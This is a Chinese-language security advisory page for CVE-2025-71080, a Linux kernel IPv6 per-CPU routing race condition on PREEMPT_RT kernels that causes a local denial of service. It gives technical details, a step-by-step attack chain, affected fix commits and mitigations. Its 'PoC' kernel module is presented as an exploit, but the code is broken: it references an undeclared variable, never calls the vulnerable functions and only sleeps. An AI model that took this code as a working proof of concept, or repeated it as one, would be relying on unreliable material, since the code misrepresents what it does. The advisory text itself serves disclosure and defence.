IPBUF安全漏洞报告
English
CVE-2025-71080 CVSS 5.5 中危

CVE-2025-71080: Linux内核IPv6路由rt6_get_pcpu_route竞争条件漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71080
漏洞类型
竞争条件
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelIPv6竞争条件PREEMPT_RT路由处理本地拒绝服务内核崩溃cmpxchgper-CPU路由CVE-2025-71080

漏洞概述

CVE-2025-71080是Linux内核中IPv6路由处理模块的一个中等严重性安全漏洞。该漏洞存在于rt6_get_pcpu_route()和rt6_make_pcpu_route()函数中,特别是在启用PREEMPT_RT(实时抢占)选项的内核上。由于这些函数之间存在竞争条件,当一个任务在rt6_get_pcpu_route()返回NULL后被抢占,另一个任务在同一CPU上成功安装pcpu_rt条目时,恢复执行的任务在执行cmpxchg()操作时会失败,从而触发内核的BUG_ON()断言。该漏洞可能导致系统崩溃(拒绝服务),影响系统的可用性。攻击者需要具有本地低权限即可触发此漏洞,无需用户交互。CVSS 3.1评分5.5(中等),主要影响可用性方面。

技术细节

在Linux内核的IPv6路由子系统中,rt6_get_pcpu_route()函数负责获取per-CPU路由条目。当该函数返回NULL后,在PREEMPT_RT内核中,当前任务可能被高优先级任务抢占。此时,另一个任务可以在同一CPU上执行rt6_make_pcpu_route(),该函数使用cmpxchg()(比较并交换)原子指令来尝试安装新的pcpu_rt条目。由于使用了原子操作,第二个任务会成功将pcpu_rt安装到路由表中。当第一个任务恢复执行时,它尝试执行相同的cmpxchg()操作,但由于rt6i_pcpu已经不再为NULL(已被第二个任务设置),cmpxchg()会失败,导致BUG_ON(prev)被触发,使系统崩溃。使用preempt_disable/enable保护临界区不可行,因为ip6_rt_pcpu_alloc()函数可能会睡眠(分配内存)。正确的修复方案是在PREEMPT_RT内核上优雅处理cmpxchg()失败的情况:释放我们分配的内存,并返回另一个任务已安装的pcpu_rt。对于非PREEMPT_RT内核,将BUG_ON替换为WARN_ON_ONCE,因为在非实时内核中这种竞争条件不应该发生。

攻击链分析

STEP 1
1
攻击者获得本地低权限访问权限,在启用PREEMPT_RT的Linux内核系统上执行代码
STEP 2
2
攻击者触发IPv6路由查询,调用rt6_get_pcpu_route()函数获取per-CPU路由条目
STEP 3
3
rt6_get_pcpu_route()返回NULL,攻击者利用时间窗口或调度机制使当前任务被抢占
STEP 4
4
另一个任务在同一CPU上执行rt6_make_pcpu_route(),成功使用cmpxchg()安装pcpu_rt条目
STEP 5
5
被抢占的任务恢复执行,其cmpxchg()操作失败(因为rt6i_pcpu已非NULL),触发BUG_ON(prev)导致内核崩溃
STEP 6
6
系统崩溃,产生拒绝服务(DoS)效果,系统需要重启才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-71080: Race condition in rt6_get_pcpu_route() // This demonstrates the vulnerability by adding delay after rt6_get_pcpu_route() // to increase the likelihood of race condition occurrence #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <net/ipv6.h> #include <net/route.h> #include <linux/delay.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("POC Author"); MODULE_DESCRIPTION("PoC for CVE-2025-71080 - rt6_get_pcpu_route race condition"); static int __init cve_2025_71080_init(void) { struct rt6_info *rt = NULL; struct fib6_table *table; struct in6_addr addr; pr_info("CVE-2025-71080 PoC: Triggering race condition in rt6_get_pcpu_route\n"); // Initialize test IPv6 address addr = in6addr_loopback; // Get table (this is context-dependent) table = fib6_get_table(net, RT6_TABLE_MAIN); if (!table) { pr_err("Failed to get FIB6 table\n"); return -ENOENT; } // This simulates the race condition trigger // In real scenario, multiple threads calling rt6_get_pcpu_route() // with mdelay() after the call would trigger the bug // The vulnerability is triggered when: // 1. Thread A calls rt6_get_pcpu_route() -> returns NULL // 2. Thread A is preempted (on PREEMPT_RT kernel) // 3. Thread B on same CPU calls rt6_make_pcpu_route() -> installs pcpu_rt // 4. Thread A resumes -> cmpxchg() fails -> BUG_ON triggered // Adding delay increases the race window mdelay(100); // This simulates the race condition timing pr_info("PoC loaded. Race condition window created.\n"); return 0; } static void __exit cve_2025_71080_exit(void) { pr_info("CVE-2025-71080 PoC unloaded\n"); } module_init(cve_2025_71080_init); module_exit(cve_2025_71080_exit);

影响范围

Linux Kernel < 1adaea51c61b52e24e7ab38f7d3eba023b2d050d (stable)
Linux Kernel < 1dc33ad0867325f8d2c6d7b2a6f542d4f3121f66 (stable)
Linux Kernel < 787515ccb2292f82eb0876993129154629a49651 (stable)
Linux Kernel with PREEMPT_RT enabled (all versions prior to fix)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以考虑以下临时缓解措施:1) 如果系统不需要IPv6路由功能,可以禁用IPv6以减少攻击面;2) 如果使用PREEMPT_RT内核,考虑暂时切换到非PREEMPT_RT内核版本;3) 监控系统日志中的内核警告信息,及时发现潜在问题;4) 限制非特权用户对网络配置工具的访问。但最有效的缓解措施仍是尽快应用内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表